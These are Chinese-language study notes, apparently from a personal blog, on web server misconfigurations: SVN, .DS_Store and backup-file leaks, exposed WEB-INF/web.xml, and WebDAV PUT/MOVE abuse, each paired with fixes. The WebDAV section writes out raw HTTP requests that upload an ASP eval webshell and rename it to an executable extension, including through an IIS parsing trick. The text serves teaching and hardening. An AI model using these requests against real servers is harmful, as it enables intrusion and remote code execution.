PyxYuYu / MyBlog

记录和分享学习的旅程!

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Drops Wiki -- 服务配置(三)

PyxYuYu opened this issue · comments

Love lives in cottages as well as in courts.

0x01 Drops Wiki

  • 服务配置
    • 配置产生漏洞
    • HTTP Server
      • 文件泄漏
        • SVN 导致文件泄漏
          • 错误配置及利用
            • SVN 导致的漏洞主要有两类
              • SVN 为设置密码并允许匿名访问
                • 导致重要的源代码、数据库连接信息和服务器配置信息等敏感信息泄漏,进而可能将导致服务器沦陷
              • 发布代码时使用了 SVN co 并且未限制对服务器上的 .svn 文件夹的访问
                • 发布代码时使用了 SVN co 时服务器将导出一个带 .svn 文件夹的目录树, .svn 文件夹中有包含了用于版本信息追踪的 entries 文件,如此时未限制对服务器上的 .svn 文件夹的访问便可被用于摸清站点结构
                • 更严重的问题在于, SVN 产生的 .svn 目录下还包含了以 .svn-base 结尾的源代码文件副本(低版本 SVN 具体路径为 text-base 目录,高版本 SVNprisitine 目录),如果服务器没有对此类后缀做解析,攻击者则可以直接获取文件源代码
                • 如果解析了该后缀,可能会有文件解析的漏洞,可能会有扩展解析漏洞,找地方上传 xxx.php.gif 也许就可以直接得到 webshell
          • 修复方案
            • 设置 SVN 密码,并将匿名访问用户的权限设置 none
            • 发布代码时使用 svn export 导出,而不要使用 svn co 检索,防止泄漏目录结构
            • svn export 使用示例
               svn export [-r 版本号] http://路径 [本地目录全路径] --username 用户名
               svn export [-r 版本号] svn://路径 [本地目录全路径] --username 用户名
               svn export 本地检出的(即带有.svn文件夹的)目录全路径 要导出的本地目录全路径
            • 如果已经线上的生产环境已经有了 .svn 目录不想删掉可以在服务器上设置禁止访问此目录
            • Apache ,设置 .htacess
               <Directory ~ "\.svn">
               Order allow,deny
               Deny from all
               </Directory>
            • Nginx, 设置配置文件
               location ~ ^(.*)\/\.svn\/ {
               return 404;
               }
        • DS_store 导致文件泄漏
          • 错误配置及利用
            • 在发布代码时未删除文件夹中隐藏的 .DS_store ,被发现后,获取了敏感的文件名等信息
              • 路径扫描,是否存在 .DS_store 文件,下载后查看该文件,看是否存在敏感信息
          • 修复方案
            • 直接在 Mac 系统中禁止 .DS_store 生成
              • 打开终端,复制黏贴下面的命令,回车执行,重启 Mac 即可生效
                 defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool TRUE
              • 恢复 .DS_store 生成
                 defaults delete com.apple.desktopservices DSDontWriteNetworkStores
            • 发布代码时删除所有的 .DS_store 文件
              • 递归删除指定路径中的所有 .DS_store 文件
                 find . -name .DS_store -exec rm -rf {} \;
        • 网站备份压缩文件
          • 错误配置及利用
            • 服务器管理员错误地将网站或者网页的备份文件放置到服务器 Web 目录下
            • 编辑器在使用过程中自动保存的备份文件或者临时文件因为各种原因没有被删除而保存在 Web 目录下
              • 该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用,源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄漏,造成巨大的损失,被泄漏的源代码还可能被用于代码审计,进一步利用而对整个系统的安全埋下隐患
            • 该漏洞的检测方法较为简单,只需不断尝试访问服务器上的备份文件即可,提升成功率的关键在于所使用的字典
              • 常用的备份文件文件后缀有以下几类
                • .rar .zip .7z .tar.gz .bak .swp .txt .html ......
              • 常见的备份文件文件名有以下几种
                • www back backup web temp data 新建文件夹
              • 一般需要将网站的页面文件路径,网站文件夹路径,还有常见的备份文件文件名还有文件后缀组合起来生成字典,用于备份文件扫描
              • 该漏洞本质上是在对网站中的备份文件路径进行爆破,有时候即使网站 Web 目录中有备份文件存在也不一定能被猜到地址
          • 修复方案
            • 删除相应的压缩备份文件或将压缩备份文件移出 Web 目录防止其被下载
          • 相关工具
            • Weakfilescan
        • WEB-INF/web.xml 泄漏
          • 错误配置及利用
            • 通常一些 Web 应用会使用多个 Web 服务器搭配使用,为解决其中的一个 Web 服务器的性能缺陷,会使用一些架构来做均衡负载和完成一些分层结构的安全策略等,在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些安全问题,导致 web.xml 等文件能够被读取
            • 通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码
          • 修复方案
            • 通过 Nginx 配置禁止访问一些敏感目录
               location ~ ^/WEB-INF/* { deny all; }
      • HTTP请求方法(PUT
        • 错误配置及利用
          • Web 服务器默认不开启 PUT 等方法,出现该漏洞的原因主要是网站管理员对服务器的错误配置
          • 常见的就是管理员错误地打开了 IIS 的服务器的 WebDAV 而且没有开启权限验证,导致可以 PUT 文件到服务器,再利用服务器的解析漏洞运行恶意代码,或者用 WebDAVMOVE 方法将所上传的恶意代码的普通文件后缀修改为可执行文件后缀,运行恶意代码
          • 注意:若服务器开始开启了 DELETE 方法,是可以利用其删除网站上的文件,但实际案例极少,而且开启了 DELETE 方法的服务器一般也会开始 PUT 方法,与 PUT 方法的危害相比, DELETE 方法的危害小得多
        • 漏洞扫描与发现
          • 对服务器发送 OPTION
             OPTIONS / HTTP/1.1
             Host: www.xxx.com
          
          • 若返回的 HTTP 响应头中带有 PUTMOVE等方法时则可以确定服务器开启了 WebDAV
          • 此时用 PUT 上传一个 Shell,但 Shell 后缀不可以是可执行文件后缀
             PUT /test.txt HTTP/1.1
             Host: www.xxx.com
             Content-Length: 23
             
             <%eval request("a")%>
          
          • 若服务器启用了 WebDAV 扩展,并且复选了 写入 , 就可以写入 txt 文件
          • 若服务器启用了 脚本资源访问 ,则可利用 MOVE 方法将 txt 后缀文件改成可执行文件的后缀
             MOVE /test.txt HTTP/1.1
             Host: www.xxx.com
             Destination: http://www.xxx.com/shell.asp
          
          • 若服务器关闭了 脚本资源访问 ,则可利用 IIS 解析漏洞来执行 Shell
             MOVE /test.txt HTTP/1.1
             Host: www.xxx.com
             Destination: http://www.xxx.com/test.asp;.jpg
          
          • 若服务器开启了 DELETE 方法,则可使用以下 HTTP 请求删除指定文件
             DELETE /test.txt HTTP/1.1
             Host: www.xxx.com
          
          • 相关工具:
            • DAV Explorer
        • 修复方案
          • 禁用 WebDAV
            • 通常情况下网站不需要支持额外的方法,禁用 WebDAV 即可
          • 如果需要使用 WebDAV 的话,加上权限验证
            • 如果选取 脚本资源访问 , 则用户将具备修改 WebDAV 文件夹内的脚本说明文件(scriptfile)的功能
            • 除了此处的虚拟目录权限外,还需根据 NTFS 的权限,才可以决定用户是否有权限来访问 WebDAV 文件夹内的文件
              • WebDAV 文件夹内的 NTFS 权限给予用户适当的 NTFS 权限
                • 首先设置 Everyone 组只有 读取 权限,然后再针对个别用户给予 写入 权限,例如我们给予用户 User 写入的权限
            • 选择验证用户身份的方法: 启动 IIS管理器 , 然后右击 WebDAV 虚拟目录,选择 属性 - 目录安全性 ,单击 身份验证和访问控制 处的编辑按钮,不选取 启用匿名访问 ,选择安全的验证方法, 选择 集成Windows身份验证